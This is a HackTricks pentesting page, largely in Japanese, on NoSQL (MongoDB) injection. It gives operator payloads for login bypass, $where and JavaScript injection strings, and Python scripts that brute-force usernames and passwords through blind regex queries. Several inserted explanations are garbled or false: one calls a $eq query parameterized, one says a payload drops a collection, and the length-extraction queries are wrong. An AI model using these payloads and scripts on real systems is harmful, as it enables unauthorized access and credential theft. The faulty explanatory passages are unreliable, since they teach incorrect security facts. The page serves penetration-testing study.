hacktricks/pentesting-web/nosql-injection.md

22 KiB
Raw Blame History

NoSQLインジェクション


Trickestを使用して、世界で最も先進的なコミュニティツールによって強化されたワークフローを簡単に構築し、自動化します。
今すぐアクセスを取得:

{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥

NoSQLデータベースは、従来のSQLデータベースよりも緩い整合性制約を提供します。関係の制約や整合性チェックが少なくても、NoSQLデータベースはパフォーマンスとスケーリングの利点を提供することがあります。しかし、これらのデータベースは、従来のSQL構文を使用していなくても、インジェクション攻撃の脆弱性がある可能性があります。

攻撃手法

PHPでは、送信されるパラメータを_parameter=foo_から_parameter[arrName]=foo_に変更することで、配列を送信することができます。

攻撃手法は、オペレータを追加することに基づいています:

username[$ne]=1$password[$ne]=1 #<Not Equals>
username[$regex]=^adm$password[$ne]=1 #Check a <regular expression>, could be used to brute-force a parameter
username[$regex]=.{25}&pass[$ne]=1 #Use the <regex> to find the length of a value
username[$eq]=admin&password[$ne]=1 #<Equals>
username[$ne]=admin&pass[$lt]=s #<Less than>, Brute-force pass[$lt] to find more users
username[$ne]=admin&pass[$gt]=s #<Greater Than>
username[$nin][admin]=admin&username[$nin][test]=test&pass[$ne]=7 #<Matches non of the values of the array> (not test and not admin)
{ $where: "this.credits == this.debits" }#<IF>, can be used to execute code

基本認証のバイパス

等しくない ($ne) やより大きい ($gt) を使用する

#in URL
username[$ne]=toto&password[$ne]=toto
username[$regex]=.*&password[$regex]=.*
username[$exists]=true&password[$exists]=true

#in JSON
{"username": {"$ne": null}, "password": {"$ne": null} }
{"username": {"$ne": "foo"}, "password": {"$ne": "bar"} }
{"username": {"$gt": undefined}, "password": {"$gt": undefined} }

SQL - Mongo

SQLインジェクション

SQLインジェクションは、アプリケーションがユーザーの入力を適切に検証せずにデータベースクエリに直接組み込む場合に発生するセキュリティ脆弱性です。この脆弱性を悪用する攻撃者は、意図しないデータベース操作を実行したり、機密情報を盗み出したりすることができます。

MongoDBは、SQLインジェクションのリスクを軽減するために、データベースクエリに対してパラメータ化されたクエリを使用することを推奨しています。パラメータ化されたクエリでは、ユーザーの入力はプレースホルダーとして扱われ、データベースクエリに直接組み込まれることはありません。

以下は、MongoDBでのSQLインジェクションの例です。

var username = req.body.username;
var password = req.body.password;

db.collection('users').findOne({ username: username, password: password }, function(err, user) {
  if (err) throw err;
  if (user) {
    res.send('Login successful');
  } else {
    res.send('Invalid username or password');
  }
});

この例では、ユーザーが提供したusernamepasswordが直接データベースクエリに組み込まれています。攻撃者は、usernamepasswordにSQLコマンドを挿入することで、意図しないデータベース操作を行う可能性があります。

この問題を解決するために、パラメータ化されたクエリを使用することが推奨されます。以下は、パラメータ化されたクエリを使用した修正例です。

var username = req.body.username;
var password = req.body.password;

db.collection('users').findOne({ username: { $eq: username }, password: { $eq: password } }, function(err, user) {
  if (err) throw err;
  if (user) {
    res.send('Login successful');
  } else {
    res.send('Invalid username or password');
  }
});

修正例では、$eq演算子を使用してusernamepasswordの値を比較しています。これにより、ユーザーの入力が直接データベースクエリに組み込まれることはありません。

パラメータ化されたクエリを使用することで、SQLインジェクションのリスクを軽減することができます。しかし、入力の検証やエスケープも併せて行うことが重要です。

Normal sql: ' or 1=1-- -
Mongo sql: ' || 1==1//    or    ' || 1==1%00

長さ情報の抽出

To extract the length information from a NoSQL database, you can use the following techniques:

NoSQL databases often provide functions or operators to retrieve the length of a field or attribute. These functions can be used to determine the length of a string or an array.

For example, in MongoDB, you can use the $strLenCP operator to get the length of a string. The following query retrieves the length of the username field in the users collection:

db.users.find({ username: { $exists: true } }, { username: { $strLenCP: "" } })

In CouchDB, you can use the length() function to get the length of an array. The following query retrieves the length of the emails array in the users database:

function(doc) {
  emit(doc._id, doc.emails.length);
}

By extracting the length information, you can gain insights into the structure and size of the data stored in the NoSQL database. This information can be useful for further analysis and exploitation.

username[$ne]=toto&password[$regex]=.{1}
username[$ne]=toto&password[$regex]=.{3}
# True if the length equals 1,3...

データ情報の抽出

NoSQLインジェクションは、NoSQLデータベースに対する攻撃手法の一つです。この攻撃手法では、アプリケーションがユーザーの入力を適切に検証せずにクエリを構築することによって、データベースから情報を抽出することが可能となります。

攻撃者は、NoSQLクエリのパラメータに対して特殊な文字列を挿入することで、データベースのクエリを改変します。これにより、攻撃者はデータベースから機密情報を抽出することができます。

NoSQLインジェクションの攻撃手法は、SQLインジェクションとは異なります。SQLインジェクションでは、SQLクエリの構造を変更することで攻撃を行いますが、NoSQLインジェクションでは、NoSQLデータベースのクエリ言語の特性を利用して攻撃を行います。

NoSQLインジェクションの攻撃手法を防ぐためには、入力データの適切な検証とエスケープ処理が必要です。また、アクセス制御の実装や最小特権の原則の適用も重要です。

NoSQLインジェクションの攻撃手法を理解し、適切な対策を講じることで、データベースからの情報漏洩を防ぐことができます。

in URL (if length == 3)
username[$ne]=toto&password[$regex]=a.{2}
username[$ne]=toto&password[$regex]=b.{2}
...
username[$ne]=toto&password[$regex]=m.{2}
username[$ne]=toto&password[$regex]=md.{1}
username[$ne]=toto&password[$regex]=mdp

username[$ne]=toto&password[$regex]=m.*
username[$ne]=toto&password[$regex]=md.*

in JSON
{"username": {"$eq": "admin"}, "password": {"$regex": "^m" }}
{"username": {"$eq": "admin"}, "password": {"$regex": "^md" }}
{"username": {"$eq": "admin"}, "password": {"$regex": "^mdp" }}

SQL - Mongo

SQLインジェクション

SQLインジェクションは、アプリケーションがユーザーの入力を適切に検証せずにデータベースクエリに直接組み込む場合に発生するセキュリティ脆弱性です。この脆弱性を悪用する攻撃者は、意図しないデータベース操作を実行したり、機密情報を盗み出したりすることができます。

NoSQLインジェクション

NoSQLデータベースMongoDBなどでは、SQLインジェクションと同様の脆弱性が存在します。NoSQLインジェクションは、クエリに直接ユーザーの入力を組み込むことで発生します。攻撃者は、データベースの操作を改ざんしたり、機密情報を漏洩させたりすることができます。

NoSQLインジェクションの例

以下は、NoSQLインジェクションの例です。

const username = req.body.username;
const password = req.body.password;

const query = {
  username: username,
  password: password
};

db.collection('users').findOne(query, function(err, user) {
  if (err) throw err;
  if (user) {
    res.send('Login successful');
  } else {
    res.send('Invalid credentials');
  }
});

この例では、ユーザーが提供したusernamepasswordを直接クエリに組み込んでいます。攻撃者は、usernamepasswordにNoSQLインジェクションペイロードを挿入することで、データベースの操作を改ざんすることができます。

NoSQLインジェクションの防止策

NoSQLインジェクションを防ぐためには、入力の検証とエスケープが重要です。以下は、NoSQLインジェクションを防ぐための一般的な対策です。

  • 入力の検証: 入力データを適切に検証し、予期しない文字やパターンを排除します。
  • エスケープ: 入力データをエスケープすることで、特殊文字がデータベースクエリに影響を与えるのを防ぎます。
  • パラメータ化されたクエリ: パラメータ化されたクエリを使用することで、入力データを直接クエリに組み込むことを避けます。

これらの対策を実装することで、NoSQLインジェクションのリスクを軽減することができます。

/?search=admin' && this.password%00 --> Check if the field password exists
/?search=admin' && this.password && this.password.match(/.*/)%00 --> start matching password
/?search=admin' && this.password && this.password.match(/^a.*$/)%00
/?search=admin' && this.password && this.password.match(/^b.*$/)%00
/?search=admin' && this.password && this.password.match(/^c.*$/)%00
...
/?search=admin' && this.password && this.password.match(/^duvj.*$/)%00
...
/?search=admin' && this.password && this.password.match(/^duvj78i3u$/)%00  Found

PHP任意関数実行

デフォルトで使用されるMongoLiteライブラリの**$func**演算子を使用すると、このレポートのように任意の関数を実行することが可能です。

"user":{"$func": "var_dump"}

異なるコレクションから情報を取得する

$lookupを使用して、異なるコレクションから情報を取得することができます。次の例では、usersという名前の異なるコレクションから読み取り、ワイルドカードに一致するパスワードを持つすべてのエントリの結果を取得しています。

[
{
"$lookup":{
"from": "users",
"as":"resultado","pipeline": [
{
"$match":{
"password":{
"$regex":"^.*"
}
}
}
]
}
}
]


Trickestを使用して、世界で最も高度なコミュニティツールによって強化されたワークフローを簡単に構築し、自動化することができます。
今すぐアクセスを取得してください:

{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}

Blind NoSQL

import requests, string

alphabet = string.ascii_lowercase + string.ascii_uppercase + string.digits + "_@{}-/()!\"$%=^[]:;"

flag = ""
for i in range(21):
print("[i] Looking for char number "+str(i+1))
for char in alphabet:
r = requests.get("http://chall.com?param=^"+flag+char)
if ("<TRUE>" in r.text):
flag += char
print("[+] Flag: "+flag)
break
import requests
import urllib3
import string
import urllib
urllib3.disable_warnings()

username="admin"
password=""

while True:
for c in string.printable:
if c not in ['*','+','.','?','|']:
payload='{"username": {"$eq": "%s"}, "password": {"$regex": "^%s" }}' % (username, password + c)
r = requests.post(u, data = {'ids': payload}, verify = False)
if 'OK' in r.text:
print("Found one more char : %s" % (password+c))
password += c

MongoDB ペイロード

NoSQL Injection

NoSQLインジェクションは、MongoDBなどのNoSQLデータベースに対する一般的な攻撃手法です。この攻撃では、クエリパラメータに悪意のある入力を注入することで、データベースの機能を悪用します。

ペイロードの概要

以下に、NoSQLインジェクションに使用される一般的なMongoDBペイロードの例を示します。

ユーザー認証バイパス

username[$ne]=admin&password[$ne]=password

このペイロードは、usernameadminでなく、passwordpasswordでない場合に、ユーザー認証をバイパスします。

データベースの情報漏洩

username[$regex]=.*&password[$regex]=.*

このペイロードは、正規表現を使用して、すべてのユーザー名とパスワードを漏洩させます。

コレクションのドロップ

username[$ne]=admin&password[$ne]=password&$where=1==1

このペイロードは、usernameadminでなく、passwordpasswordでない場合に、コレクションをドロップします。

ペイロードの注意事項

NoSQLインジェクションに対するペイロードを使用する際には、以下の注意事項を念頭に置いてください。

  • ペイロードを使用する前に、目的の攻撃をテストする必要があります。
  • ペイロードを使用する際には、データベースのバックアップを作成しておくことをお勧めします。
  • ペイロードを使用する際には、適切な権限を持つユーザーでログインしていることを確認してください。

これらのペイロードは、NoSQLインジェクションの一般的な例ですが、実際の攻撃には状況に応じたカスタマイズが必要です。

true, $where: '1 == 1'
, $where: '1 == 1'
$where: '1 == 1'
', $where: '1 == 1'
1, $where: '1 == 1'
{ $ne: 1 }
', $or: [ {}, { 'a':'a
' } ], $comment:'successful MongoDB injection'
db.injection.insert({success:1});
db.injection.insert({success:1});return 1;db.stores.mapReduce(function() { { emit(1,1
|| 1==1
' && this.password.match(/.*/)//+%00
' && this.passwordzz.match(/.*/)//+%00
'%20%26%26%20this.password.match(/.*/)//+%00
'%20%26%26%20this.passwordzz.match(/.*/)//+%00
{$gt: ''}
[$ne]=1

ツール

POSTログインからのユーザー名とパスワードの総当たり攻撃

これは簡単なスクリプトですが、前述のツールでもこのタスクを実行することができます。

import requests
import string

url = "http://example.com"
headers = {"Host": "exmaple.com"}
cookies = {"PHPSESSID": "s3gcsgtqre05bah2vt6tibq8lsdfk"}
possible_chars = list(string.ascii_letters) + list(string.digits) + ["\\"+c for c in string.punctuation+string.whitespace ]
def get_password(username):
print("Extracting password of "+username)
params = {"username":username, "password[$regex]":"", "login": "login"}
password = "^"
while True:
for c in possible_chars:
params["password[$regex]"] = password + c + ".*"
pr = requests.post(url, data=params, headers=headers, cookies=cookies, verify=False, allow_redirects=False)
if int(pr.status_code) == 302:
password += c
break
if c == possible_chars[-1]:
print("Found password "+password[1:].replace("\\", "")+" for username "+username)
return password[1:].replace("\\", "")

def get_usernames():
usernames = []
params = {"username[$regex]":"", "password[$regex]":".*", "login": "login"}
for c in possible_chars:
username = "^" + c
params["username[$regex]"] = username + ".*"
pr = requests.post(url, data=params, headers=headers, cookies=cookies, verify=False, allow_redirects=False)
if int(pr.status_code) == 302:
print("Found username starting with "+c)
while True:
for c2 in possible_chars:
params["username[$regex]"] = username + c2 + ".*"
if int(requests.post(url, data=params, headers=headers, cookies=cookies, verify=False, allow_redirects=False).status_code) == 302:
username += c2
print(username)
break

if c2 == possible_chars[-1]:
print("Found username: "+username[1:])
usernames.append(username[1:])
break
return usernames


for u in get_usernames():
get_password(u)

参考文献

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥


Trickestを使用して、世界で最も高度なコミュニティツールによって強化されたワークフローを簡単に構築および自動化します。
今すぐアクセスを取得:

{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}